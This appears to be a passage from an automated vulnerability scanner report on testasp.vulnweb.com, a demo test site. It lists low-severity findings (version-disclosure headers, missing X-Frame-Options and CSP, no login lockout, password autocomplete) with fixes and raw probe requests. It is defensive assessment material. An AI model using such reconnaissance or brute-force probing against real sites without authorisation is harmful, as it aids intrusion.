The HTTP responses returned by this web application include anheader named **X-AspNet-Version**. The value of this header is used by Visual Studio to determine which version of ASP.NET is in use. It is not necessary for production sites and should be disabled.

Impact

The HTTP header may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Apply the following changes to the web.config file to prevent ASP.NET version disclosure:

```
<System.Web>
 <httpRuntime enableVersionHeader="false" />
</System.Web>
```

References

[HttpRuntimeSection.EnableVersionHeader Property (http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.enableversionheader.aspx)](http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.enableversionheader.aspx)

Affected items

Web Server

Details

Version information found:

```
2.0.50727
```

Request headers

```
GET /|~.aspx HTTP/1.1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Clickjacking: X-Frame-Options header missing

Severity	**Low**
Reported by module	/Scripts/PerServer/Clickjacking_X_Frame_Options.script

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

The X-Frame-Options response header (https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options)
Clickjacking (http://en.wikipedia.org/wiki/Clickjacking)
OWASP Clickjacking (https://www.owasp.org/index.php/Clickjacking)
Defending with Content Security Policy frame-ancestors directive (https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Defending_with_Content_Security_Policy_frame-ancestors_directive)
Frame Buster Buster (http://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed)

Affected items

Web Server

Details

Request headers

```
GET / HTTP/1.1
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Login page password-guessing attack

Severity	**Low**
Reported by module	/Scripts/PerScheme/Html_Authentication_Audit.script

Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

References

[Blocking Brute Force Attacks (http://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)](http://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)

Affected items

/Login.asp

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /Login.asp?RetURL=ikgzMOBX HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 33
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
tfUName=q2YledCo&tfUPass=KKRMIQPB
```

/Register.asp

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /Register.asp?RetURL=sample%40email.tst HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 97
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
tfEmail=hQ74MV9t%40testasp.vulnweb.com&tfRName=ikgzMOBX&tfUName=g00dPa%24%24w0rD&tfUPass
=uTr021l6
```

Content Security Policy (CSP) not implemented

Severity	**Informational**
Reported by module	/httpdata/CSP_not_implemented.js

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:

```
Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://code.jquery.com;
```

It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Impact

CSP can be used to prevent and/or mitigate attacks that involve content/code injection, such as cross-site scripting/XSS attacks, attacks that require embedding a malicious resource, attacks that involve malicious use of iframes, such as clickjacking attacks, and others.

Recommendation

It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.

References

[Content Security Policy (CSP) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
[Implementing Content Security Policy (https://hacks.mozilla.org/2016/02/implementing-content-security-policy/)](https://hacks.mozilla.org/2016/02/implementing-content-security-policy/)

Affected items

Web Server
Details
Request headers

```
GET / HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

Microsoft IIS version disclosure

Severity	**Informational**
Reported by module	/Scripts/PerServer/ASP_NET_Error_Message.script

Description

The HTTP responses returned by this web application include a header named **Server**. The value of this header includes the version of Microsoft IIS server.

Impact

The HTTP header may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Microsoft IIS should be configured to remove unwanted HTTP response headers from the response. Consult web references for more information.

References

[Remove Unwanted HTTP Response Headers](http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx)(http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx)

Affected items

Web Server
Details
Version information found: `Microsoft-IIS/8.5`
Request headers

```
GET /|~.aspx HTTP/1.1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Password type input with auto-complete enabled

Severity	**Informational**
Reported by module	/Crawler/12-Crawler_Password_Input_Autocomplete.js

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure.

Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:

```
<INPUT TYPE="password" AUTOCOMPLETE="off">
```

Affected items

Web Server
Details
Request headers

```
GET /Login.asp?RetURL=/Default.asp%3F HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

Scanned items (coverage report)

http://testasp.vulnweb.com/
http://testasp.vulnweb.com/Default.asp
http://testasp.vulnweb.com/Images/
http://testasp.vulnweb.com/Login.asp
http://testasp.vulnweb.com/Logout.asp
http://testasp.vulnweb.com/Register.asp
http://testasp.vulnweb.com/Search.asp
http://testasp.vulnweb.com/Templatize.asp
http://testasp.vulnweb.com/avatars/
http://testasp.vulnweb.com/html/
http://testasp.vulnweb.com/html/about.html
http://testasp.vulnweb.com/ikgzMOBX
http://testasp.vulnweb.com/jscripts
http://testasp.vulnweb.com/jscripts/
http://testasp.vulnweb.com/jscripts/tiny_mce
http://testasp.vulnweb.com/jscripts/tiny_mce/
http://testasp.vulnweb.com/jscripts/tiny_mce/langs/
http://testasp.vulnweb.com/jscripts/tiny_mce/langs/en.js
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/simple/
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/simple/css/
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/simple/css/editor_content.css
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/simple/css/editor_ui.css
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/simple/editor_template.js
http://testasp.vulnweb.com/jscripts/tiny_mce/themes/simple/images/
http://testasp.vulnweb.com/jscripts/tiny_mce/tiny_mce.js
http://testasp.vulnweb.com/showforum.asp
http://testasp.vulnweb.com/showthread.asp
http://testasp.vulnweb.com/styles.css